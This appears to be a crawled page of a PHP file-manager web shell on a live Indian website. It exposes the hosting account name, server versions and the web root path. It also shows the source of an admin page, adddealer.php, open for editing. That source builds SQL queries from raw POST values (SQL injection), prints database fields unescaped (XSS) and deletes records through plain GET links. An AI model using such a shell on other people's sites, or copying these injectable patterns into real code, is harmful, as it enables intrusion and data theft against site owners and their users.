Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.16.1.el9_7.x86_64

PHP Version:

8.2.30

User:

u226437350

Directory:

/home/u226437350/domains/extrapower.in/public_html/admin3/user

Free Space:

8.54 TB

🔧 Quick Actions

✏️ Editing: adddealer.php

<?php include_once('header2.php'); ?>

<div class="content-body">
    <div class="container-xxl flex-grow-1 container-p-y" style="margin: 2%;">
        <h3 class="text-center text-dark fw-bold">Update Application For Battery Replacement</h3>
        <div class="row">
            <div class="col-xxl">
                <div class="card mb-4">
                    <div class="card-body">
                        
                            <form action="dealer.php" method="post">
                       
            <div class="row mb-3">
              <label for="newserialno" class="col-sm-3 col-form-label">DEALER NAME :</label>
              <div class="col-sm-6">
                <input  style="border-radius: 30px;border-color:#004AAD"  type="text" pattern="[a-zA-Z0-9\s,.-]+" class="form-control" name="name" >
              </div>
              
            </div>        
            
            <div class="row mb-3">
              <label for="newserialno" class="col-sm-3 col-form-label">ADDRESS :</label>
              <div class="col-sm-6">
                <input  style="border-radius: 30px;border-color:#004AAD"  type="text" pattern="[a-zA-Z0-9\s,.-]+" class="form-control" name="address" >
              </div>
              
            </div>   
            
            <div class="row mb-3">
              <label for="newserialno" class="col-sm-3 col-form-label">CITY :</label>
              <div class="col-sm-6">
                <input  style="border-radius: 30px;border-color:#004AAD"  type="text" pattern="[a-zA-Z0-9\s,.-]+" class="form-control" name="city" >
              </div>
              
            </div> 
            <div class="row mb-3">
              <label for="newserialno" class="col-sm-3 col-form-label">DISTRICT :</label>
              <div class="col-sm-6">
              <select class="form-control" style="border-radius: 30px;border-color:#004AAD"  name="district">
        <option value="angul">Angul</option>
        <option value="balangir">Balangir</option>
        <option value="balasore">Balasore</option>
        <option value="bargarh">Bargarh</option>
        <option value="bhadrak">Bhadrak</option>
        <option value="cuttack">Cuttack</option>
        <option value="deogarh">Deogarh</option>
        <option value="dhenkanal">Dhenkanal</option>
        <option value="gajapati">Gajapati</option>
        <option value="ganjam">Ganjam</option>
        <option value="jagatsinghpur">Jagatsinghpur</option>
        <option value="jajpur">Jajpur</option>
        <option value="jharsuguda">Jharsuguda</option>
        <option value="kalahandi">Kalahandi</option>
        <option value="kandhamal">Kandhamal</option>
        <option value="kendrapara">Kendrapara</option>
        <option value="kendujhar">Kendujhar (Keonjhar)</option>
        <option value="khordha">Khordha</option>
        <option value="koraput">Koraput</option>
        <option value="malkangiri">Malkangiri</option>
        <option value="mayurbhanj">Mayurbhanj</option>
        <option value="nabarangpur">Nabarangpur</option>
        <option value="nayagarh">Nayagarh</option>
        <option value="nuapada">Nuapada</option>
        <option value="puri">Puri</option>
        <option value="rayagada">Rayagada</option>
        <option value="sambalpur">Sambalpur</option>
        <option value="sonapur">Subarnapur (Sonepur)</option>
        <option value="sundargarh">Sundargarh</option>
    </select>
              </div>
              
            </div> 
            <div class="row mb-3">
              <label for="newserialno" class="col-sm-3 col-form-label">MOBILE :</label>
              <div class="col-sm-6">
                <input  style="border-radius: 30px;border-color:#004AAD"  type="text" pattern="[a-zA-Z0-9\s,.-]+" class="form-control" name="mobile" >
              </div>
              
            </div> 
            <div class="col-2">
                                        <button type="submit" class="btn btn-success">Add Dealer</button>
                                    </div>
                            </form>
                    </div>
                    
                </div>
                <?php
include_once('config.php');

$countQuery = "SELECT COUNT(*) as total FROM dealer ";
$countResult = mysqli_query($conn, $countQuery);
$countData = mysqli_fetch_assoc($countResult);
$totalType4Users = $countData['total'];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $year = $_POST['year'];
    $month = $_POST['month'];

$sql = "SELECT * FROM dealer WHERE  
             YEAR(created_at) = $year 
            AND MONTH(created_at) = $month 
            ORDER BY created_at DESC";
} else {
  
    $ninetyDaysAgo = date('Y-m-d', strtotime('-365 days'));
    $sql = "SELECT * FROM dealer WHERE created_at >= '$ninetyDaysAgo' ORDER BY created_at DESC";
}

$result = $conn->query($sql);
?>

<label style="font-size:25px;color:#004AAD;font-weight:700" for="myInput" >Total Dealer:<?= $totalType4Users ?></label>

<input style="border-radius: 30px;border-color:#004AAD" type="text" id="myInput" onkeyup="myFunction()" class="form-control" placeholder=" Search Beneficiary" aria-label="Search Dashboard" title="Type your name or phone">
                    <div class="table-responsive">
                        <div class="active-member">
                            <div class="table-responsive">
                                <table class="table table-xs mb-0" id="myTable">
    <thead style="font-size:18px;color:#004AAD;font-weight:700">
        <tr>
        <th>ID</th>
        
        <th>Name</th>
        <th>address</th>
        <th>city</th>
        <th>district</th>
        <th>mobile</th>
        <th>Action</th>
        
        </tr>
    </thead>
    <tbody style="font-weight:500">
    <?php
include_once('config.php');
        if ($result->num_rows > 0) {
            while ($row = $result->fetch_assoc()) {
                ?>
                <tr>
                    <td><?php echo $row['id']; ?></td>
                    <td><?php echo $row['name']; ?></td>
                    <td><?php echo $row['address']; ?></td>
                    <td><?php echo $row['city']; ?></td>
                    <td><?php echo $row['district']; ?></td>
                    <td><?php echo $row['mobile']; ?></td>
                    <td>
    <a href="edit_dealer.php?id=<?php echo $row['id']; ?>">
        <i class="fa fa-edit" style="color: blue;"></i>
    </a>
</td>
<td>
    <a href="delete_dealer.php?id=<?php echo $row['id']; ?>" onclick="return confirm('Are you sure you want to delete this user?');">
        <i class="fa fa-trash" style="color: red;"></i>
    </a>
</td>

</tr>
            <?php }
        } ?>
    </tbody>
</table>

function filterTable() {
        var inputYear = document.getElementById("year");
        var inputMonth = document.getElementById("month");
        var filterYear = inputYear.value;
        var filterMonth = inputMonth.value;
        var table = document.getElementById("myTable");
        var tr = table.getElementsByTagName("tr");

for (var i = 1; i < tr.length; i++) {
            var tdYear = tr[i].getElementsByTagName("td")[5]; 
            var tdMonth = tr[i].getElementsByTagName("td")[6];

if (tdYear && tdMonth) {
                var yearValue = tdYear.textContent || tdYear.innerText;
                var monthValue = tdMonth.textContent || tdMonth.innerText;

if (yearValue == filterYear && monthValue == filterMonth) {
                    tr[i].style.display = "";
                } else {
                    tr[i].style.display = "none";
                }
            }
        }
    }
</script>
<script>
    var togglePasswordIcons = document.querySelectorAll('.toggle-password');

togglePasswordIcons.forEach(function(icon) {
        icon.addEventListener('click', function() {
            var passwordField = this.parentElement.parentElement.parentElement.querySelector('[type="password"]');
            var passwordFieldType = passwordField.getAttribute('type');
            passwordField.setAttribute('type', passwordFieldType === 'password' ? 'text' : 'password');
            this.querySelector('i').classList.toggle('fa-eye-slash');
        });
    });
</script>

<?php include_once('footer2.php'); ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: adddealer.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation